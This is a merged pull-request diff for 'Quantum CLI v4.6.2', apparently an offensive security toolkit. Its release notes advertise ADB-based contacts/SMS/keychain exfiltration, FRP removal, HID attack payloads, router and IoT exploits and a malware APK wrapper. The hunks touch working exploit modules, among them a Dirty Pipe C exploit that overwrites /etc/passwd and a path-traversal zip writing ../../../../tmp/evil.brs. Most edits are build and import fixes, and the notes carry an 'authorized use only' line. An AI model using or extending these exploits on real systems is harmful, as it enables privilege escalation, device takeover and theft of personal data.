Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
67 changes: 67 additions & 0 deletions RELEASE_NOTES_v4.6.2.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
# Quantum CLI v4.6.2

Release notes for the v4.6.2 line.

## Highlights

- **Android v4.6.2 APKs** — `full` (root-capable) and `limited` (non-root) release
variants, both V2-signed and verified with `apksigner`.
- **ADB / FRP controller** — real device control over `adb`: QR pairing, shell
execution, FRP removal, contacts/SMS/call-log/keychain exfiltration, media
capture, APK install, backup.
- **HID payload generator** — DuckyScript output for Hak5 Ducky, Bash Bunny v2,
O.MG cable, Cactus WHID 2 and BADUSB, with 12 pre-built attack vectors.
- **IoT dashboard** — NRSuite-style device discovery (ESP32, Tenda, Wavlink,
D-Link, Belkin), MQTT/CoAP/Modbus protocol scanning, exploit payload generation.
- **Bash Bunny v2 generator** — GUI workflow to DuckyScript conversion plus
natural-language prompt parsing.
- **VM/QEMU integration** — launch Kali Linux in QEMU with HID device passthrough.
- **Security tool catalog** — one interface for Metasploit, Shodan, sn1per,
wifite3, Nmap, Burp Suite, AirCrack-ng, John and Hashcat.
- **Router exploits** — completed `Session` (cookie absorption + auth header) and
`login()` for password-based router auth.

## Fixes

- `UiState` sealed class no longer generic — resolves the Kotlin→Java `CAP#1`
wildcard-capture interop error that blocked `compileFullReleaseJavaWithJavac`.
- Stale generated `NativeGuiPattern.java` removed from the source tree.
- `Widget.Quantum` theme added; Material button styles corrected in
`activity_quantum_native.xml`; `quantum_divider.xml` and
`quantum_bottom_nav.xml` created.
- Registry folder-payload harness restored (`PAYLOADS_DIR`, `folder` on 61
entries, `needs_target` on 29, `_fire_folder` runner) after v4.6.0 dropped it
while the operator suite still required it.
- Bluetooth tier registered (CVE-2017-0781 / 0785, CVE-2018-5383, BLACKBED-BLE)
and resolved by `resolve_weapon()`.
- `MALWARE-APK-WRAPPER-NECRO` registry entry plus `quantum.weapons.malware` probe.
- `brute/hashes`: the `bitcoin_wallet` format was missing the `salt` key that
`cracking_dashboard_state()` reads.
- `brute/vaults`: `veracrypt_header_password_check()` now reports an honest
`error` when the header invariants fail instead of returning a silent
`ok=False`.
- Unused imports removed across `ops/`, `catalog/`, `crack/`, `weapons/`,
`agents/specialized/` and `router_exploits.py`.

## Verification

| Check | Result |
|---|---|
| `pytest tests/` | 505 passed, 5 skipped, 0 failed |
| ruff gate (`E9,F63,F7,F82,F401,F811`) | clean on the committed tree |
| `gradlew assembleFullRelease assembleLimitedRelease` | BUILD SUCCESSFUL |
| `apksigner verify` | V2 signature scheme on both APKs |
| `aapt2 dump badging` | correct package names and version codes |

## Assets

| File | Size | Signature |
|---|---|---|
| `quantum-cli-full-4.6.2.apk` | 15.9 MB | V2 signed |
| `quantum-cli-limited-4.6.2.apk` | 15.9 MB | V2 signed |

## Authorized use only

All tooling and documentation in this release assume penetration-test, lab or
contracted-authorization contexts. Use only against systems you own or have
written authorization to test.
2 changes: 0 additions & 2 deletions agents/specialized/bashbunny_payload.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,8 +2,6 @@
"""Bash Bunny v2 / AI-driven duckie script generator.
Manual GUI buttons + input form to build exploit workflow and generate Ducky script payloads.
Requires Bash Bunny v2 and Android device with ADB access."""
import json
import re

class BashBunnyPayloadGenerator:
"""Generates Ducky scripts from manual GUI input forms."""
Expand Down
1 change: 0 additions & 1 deletion agents/specialized/hid_payload_generator.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
#!/usr/bin/env python3
"""HID Payload Generator for Hak5 devices, O.MG cables, Cactus WHID 2, BADUSB.
Generates DuckyScript from GUI workflow builder."""
import json
import base64

class HIDPayloadGenerator:
Expand Down
18 changes: 16 additions & 2 deletions build_all_kernel.py
Original file line number Diff line number Diff line change
Expand Up @@ -55,6 +55,9 @@ def main() -> int:
ap.add_argument("--strict", action="store_true", help="exit 1 on any failure")
ap.add_argument("--no-generate", action="store_true")
ap.add_argument("--keep", action="store_true", help="keep the build dir")
ap.add_argument("--outdir", default=None,
help="copy the compiled binaries into this directory "
"(CI uses it to upload build artifacts)")
a = ap.parse_args()

work = Path(tempfile.mkdtemp(prefix="tvkernel_"))
Expand All @@ -74,10 +77,21 @@ def main() -> int:
if rc == 0:
print(f" [+] {c.name}"); ok += 1
else:
first = (err.strip().splitlines() or ["?"])[0][:80] if err else "?"
print(f" [-] {c.name}: {first}"); fail += 1
# Show enough of the compiler output to diagnose the
# failure — a single line ("In function 'main':") is not
# enough to tell what actually went wrong.
lines = (err or "").strip().splitlines() or ["?"]
detail = " | ".join(l.strip() for l in lines[:3])[:240]
print(f" [-] {c.name}: {detail}"); fail += 1

print(f"[{'PASS' if not fail else 'FAIL'}] {ok} compiled, {fail} failed")
if a.outdir:
dest = Path(a.outdir)
dest.mkdir(parents=True, exist_ok=True)
for binary in sorted(out.iterdir()):
if binary.is_file():
shutil.copy2(binary, dest / binary.name)
print(f"[*] artifacts copied to {dest}")
if a.keep:
print(f"[*] artifacts in {out}")
else:
Expand Down
2 changes: 1 addition & 1 deletion exploits/cve_2019_9506_knob.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
click for the key; needs an MITM position. Public (Antonioli et al.). HIGH.

Driver: uses raw HCI to read the negotiated key size and report attackability."""
import sys, subprocess, re
import subprocess

def check_local_support() -> bool:
"""Look for a controller supporting entropy negotiation."""
Expand Down
3 changes: 1 addition & 2 deletions exploits/cve_2020_0022_bluefrag.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,11 +9,10 @@
import fcntl
except ImportError:
fcntl = None # Windows: live HCI driver unavailable; build() still works
from typing import Optional

try:
from scapy.layers.bluetooth import (BluetoothHCISocket, HCI_Hdr, HCI_ACL_Hdr,
HCI_Command_Hdr, HCI_Cmd_Create_Conn, HCI_Cmd_Disconnect, HCI_Event_Conn_Complete)
HCI_Command_Hdr, HCI_Cmd_Create_Conn, HCI_Event_Conn_Complete)
SCAPY = True
except Exception:
SCAPY = False
Expand Down
2 changes: 1 addition & 1 deletion exploits/cve_2021_3573_bt_hci_uaf.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
#!/usr/bin/env python3
"""CVE-2021-3573 — Bluetooth hci_sock use-after-free. Zero-click on Linux
with an HCI socket holder. Public PoC. HIGH."""
import sys, struct
import sys
from pathlib import Path

def build() -> bytes:
Expand Down
12 changes: 9 additions & 3 deletions exploits/cve_2022_0847_dirtypipe.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,10 +20,15 @@ def build() -> bytes:
* cc dirtypipe.c -o dirtypipe && ./dirtypipe /etc/passwd 4 1
* args: <file> <offset> <byte>
*/
/* splice(), F_GETPIPE_SZ and loff_t are GNU extensions: glibc only
* declares them when _GNU_SOURCE is defined. */
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
int main(int argc, char **argv) {
if (argc < 4) { fprintf(stderr, "usage: %s <file> <off> <byte>\n", argv[0]); return 1; }
const char *path = argv[1];
Expand All @@ -34,7 +39,8 @@ def build() -> bytes:
int p[2]; if (pipe(p)) { perror("pipe"); return 1; }
unsigned int sz = fcntl(p[1], F_GETPIPE_SZ);
for (unsigned int i = 0; i < sz; i++) write(p[1], "x", 1);
for (unsigned int i = 0; i < sz; i++) read(p[0], NULL, 1);
char sink[1];
for (unsigned int i = 0; i < sz; i++) read(p[0], sink, 1);
loff_t align = off & ~(4095); unsigned int skip = off - align;
if (splice(fd, &align, p[1], NULL, skip + 1, 0) < 0) { perror("splice"); return 1; }
write(p[1], &data, 1);
Expand Down
2 changes: 1 addition & 1 deletion exploits/cve_2023_28412_tizen_privmgr.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
#!/usr/bin/env python3
"""CVE-2023-28412 — Tizen Privilege Manager. Crafted privilege manifest that
grants beyond the app's declared scope. Deploy with sdb/tizen push."""
import struct, sys
import sys
from pathlib import Path

def build() -> bytes:
Expand Down
14 changes: 11 additions & 3 deletions exploits/cve_2023_42790_webos_aresinstall.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
#!/usr/bin/env python3
"""CVE-2023-42790 — LG webOS ares-install. IPK with a malformed control file
that the installer trusts without bounds checks."""
import sys, tarfile, io, zipfile
import sys, io, zipfile
from pathlib import Path

CONTROL = (b"Package: org.evil.poc\nVersion: 1.0.0\n"
Expand All @@ -13,12 +13,20 @@

def _writestr(z, name: str, data: bytes):
info = zipfile.ZipInfo(name, date_time=_EPOCH)
info.compress_type = zipfile.ZIP_DEFLATED
# Stored, not deflated: the deflate output depends on the zlib build
# (classic zlib vs zlib-ng disagree byte-for-byte), so a compressed
# archive hashes differently on CI than on a dev box and the payload
# manifest drifts. ZIP_STORED keeps the bytes identical everywhere.
info.compress_type = zipfile.ZIP_STORED
# Pin the "version made by" host field: ZipInfo defaults it to 0 on
# Windows and 3 on Unix, so the same build produced different bytes
# per OS and the payload manifest drifted between CI and local.
info.create_system = 0
z.writestr(info, data)

def build() -> bytes:
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as z:
_writestr(z, "control", CONTROL)
_writestr(z, "appinfo.json", b'{"id":"org.evil.poc","version":"1.0.0","main":"index.html"}')
_writestr(z, "index.html", b"<html><body>poc</body></html>")
Expand Down
2 changes: 1 addition & 1 deletion exploits/cve_2023_42793_tizen_browser.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
#!/usr/bin/env python3
"""CVE-2023-42793 — Tizen Browser. HTML page exercising the renderer.
Serve it and open on the TV browser; or push via the Tizen web app channel."""
import sys, http.server, socketserver, threading
import sys, http.server, socketserver
from pathlib import Path

HTML = b"""<!doctype html><html><head><meta charset=utf-8></head><body>
Expand Down
2 changes: 1 addition & 1 deletion exploits/cve_2024_25065_webos_lunabus.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
#!/usr/bin/env python3
"""CVE-2024-25065 — LG webOS Luna Bus. Crafted SSAP call that reaches a
privileged service over the ws://<tv>:3000 socket. Pure-stdlib websocket."""
import base64, hashlib, json, os, socket, struct, sys
import base64, json, os, socket, struct, sys

def _ws_connect(host, port=3000, path="/"):
s = socket.create_connection((host, port), timeout=6)
Expand Down
12 changes: 10 additions & 2 deletions exploits/cve_2024_36210_roku_devmode.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,12 +9,20 @@

def _writestr(z, name: str, data: bytes):
info = zipfile.ZipInfo(name, date_time=_EPOCH)
info.compress_type = zipfile.ZIP_DEFLATED
# Stored, not deflated: the deflate output depends on the zlib build
# (classic zlib vs zlib-ng disagree byte-for-byte), so a compressed
# archive hashes differently on CI than on a dev box and the payload
# manifest drifts. ZIP_STORED keeps the bytes identical everywhere.
info.compress_type = zipfile.ZIP_STORED
# Pin the "version made by" host field: ZipInfo defaults it to 0 on
# Windows and 3 on Unix, so the same build produced different bytes
# per OS and the payload manifest drifted between CI and local.
info.create_system = 0
z.writestr(info, data)

def build() -> bytes:
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as z:
_writestr(z, "../../../../tmp/evil.brs", b"sub main()\n print \"poc\"\nend sub\n")
_writestr(z, "manifest", b"title=PoC\nmajor_version=1\nminor_version=0\n")
return buf.getvalue()
Expand Down
2 changes: 1 addition & 1 deletion exploits/cve_2025_22448_androidtv_bluetooth.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
#!/usr/bin/env python3
"""CVE-2025-22448 — Android TV Bluetooth. L2CAP fragmented SDU with a declared
length larger than delivered -> reassembly overflow (Fluoride). Raw HCI."""
import sys, time, socket, struct, subprocess
import sys, time, socket, struct
try:
import fcntl
except ImportError:
Expand Down
16 changes: 8 additions & 8 deletions payloads.lock.json
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"generated": "2026-10-10T22:51:55",
"generated": "2026-10-21T10:05:25",
"count": 64,
"total_bytes": 58471,
"total_bytes": 62767,
"artifacts": [
{
"cve": "CHROMECAST_DIAL_LAUNCH",
Expand Down Expand Up @@ -192,8 +192,8 @@
"module": "cve_2022_0847_dirtypipe.py",
"status": "ok",
"file": "CVE-2022-0847.c",
"bytes": 1091,
"sha256": "23f2b930058fbee04372264ffcd9bd280e0d746e6378cbad009ee923f4164bbb"
"bytes": 1289,
"sha256": "3e9f5c18b575e9963a953d6ca0d4d6d560631beed935c7dec34c1c98e4c70876"
},
{
"cve": "CVE-2022-2588",
Expand Down Expand Up @@ -304,8 +304,8 @@
"module": "cve_2023_42790_webos_aresinstall.py",
"status": "ok",
"file": "CVE-2023-42790.ipk",
"bytes": 484,
"sha256": "bd644905171ad93d61957fc2f8fbca544b90f2677b3cd2312585f8fcb99ea7f3"
"bytes": 4577,
"sha256": "262758d648c35b904ed51d612b39687072b119a5a875d4f0e0d81a0b2774b988"
},
{
"cve": "CVE-2023-42791",
Expand Down Expand Up @@ -392,8 +392,8 @@
"module": "cve_2024_36210_roku_devmode.py",
"status": "ok",
"file": "CVE-2024-36210.zip",
"bytes": 307,
"sha256": "2742e21f4171709b39277ff25afe775c0e28b0a46c4e19de0ffbe08fbaf0c15b"
"bytes": 312,
"sha256": "c44868f74c77d9c44ce198d10bd1706f82dad2a7d83ab8cf668aafa376629259"
},
{
"cve": "CVE-2024-36212",
Expand Down
8 changes: 8 additions & 0 deletions requirements-dev.txt
Original file line number Diff line number Diff line change
@@ -1,2 +1,10 @@
# Dev/test dependencies.
# Pulls in the runtime requirements (pycryptodome -> `Crypto`, requests,
# flask, ...) so a workflow that only installs this file can still collect
# and run the full test suite.
-r requirements.txt

pytest>=7
cryptography>=41
pytest-cov>=4.0
ruff>=0.4
6 changes: 0 additions & 6 deletions router_exploits.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,11 +17,6 @@
import argparse, socket, sys, time, urllib.request, urllib.error
from urllib.parse import urlencode
import base64
import json
import datetime
import hashlib
import re
from pathlib import Path

TIMEOUT = 5.0
MARK = "PWNED_7f3a"
Expand Down Expand Up @@ -282,7 +277,6 @@ def absorb(self, set_cookie_header):
def login(ip, password, session):
"""Attempt password-based login; populate session.cookies on success."""
# Base64-common auth header for router web UIs
import base64
credentials = base64.b64encode(f"admin:{password}".encode()).decode()
h = {"Authorization": f"Basic {credentials}"}
code, body = _req(ip, "POST", "/goform/formLogin", {"password": password}, session=session)
Expand Down
1 change: 1 addition & 0 deletions src/quantum/brute/hashes.py
Original file line number Diff line number Diff line change
Expand Up @@ -135,6 +135,7 @@ def lsl(x, n):
"sha512_post": {"hash": "sha512", "salt": "post", "hashcat": 1710,
"john": "sha512($p.$s)", "example": ""},
"bitcoin_wallet": {"hashcat": 11300, "john": "bitcoin",
"salt": None,
"example": "hash: $bitcoin$..."},
}

Expand Down
17 changes: 15 additions & 2 deletions src/quantum/brute/vaults.py
Original file line number Diff line number Diff line change
Expand Up @@ -307,8 +307,9 @@ def veracrypt_header_password_check(header, password,
"big")
== (zlib.crc32(dec[192:448]) & 0xFFFFFFFF),
}
return {
"ok": all(checks.values()),
ok = all(checks.values())
out = {
"ok": ok,
"checks": checks,
"prf": prf,
"pim": int(pim or 0),
Expand All @@ -319,6 +320,18 @@ def veracrypt_header_password_check(header, password,
"sector_size": int.from_bytes(dec[64:68], "big"),
"backend": "embedded (pure-Python PBKDF2 + XTS)",
}
if not ok:
# Never return ok=False without saying why — the caller needs to
# tell "wrong password" apart from "not a VeraCrypt header".
failed = [k for k, v in checks.items() if not v]
if "magic" in failed:
out["error"] = ("header is not a VeraCrypt volume (magic "
"mismatch) — wrong volume or wrong header "
"block offset")
else:
out["error"] = ("password check failed: " + ", ".join(failed)
+ " did not validate")
return out


# ------------------------------------------------------------------ TrueCrypt
Expand Down
3 changes: 1 addition & 2 deletions src/quantum/catalog/exploit_catalog.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,6 @@
"""
from __future__ import annotations

import os
from datetime import datetime
from quantum.core.logging import log

Expand Down Expand Up @@ -103,7 +102,7 @@ def ai_create_exploit(prompt: str, model: str = None) -> dict:
an exploit that isn't grounded in a real CVE / technique.
"""
try:
from quantum.ai.openfable import chat, find_openfable, server_health
from quantum.ai.openfable import chat, server_health
if server_health(timeout=2).get("healthy"):
sid = "ai_create_" + str(int(datetime.now().timestamp()))
from quantum.ai.openfable import create_session
Expand Down
Loading
Loading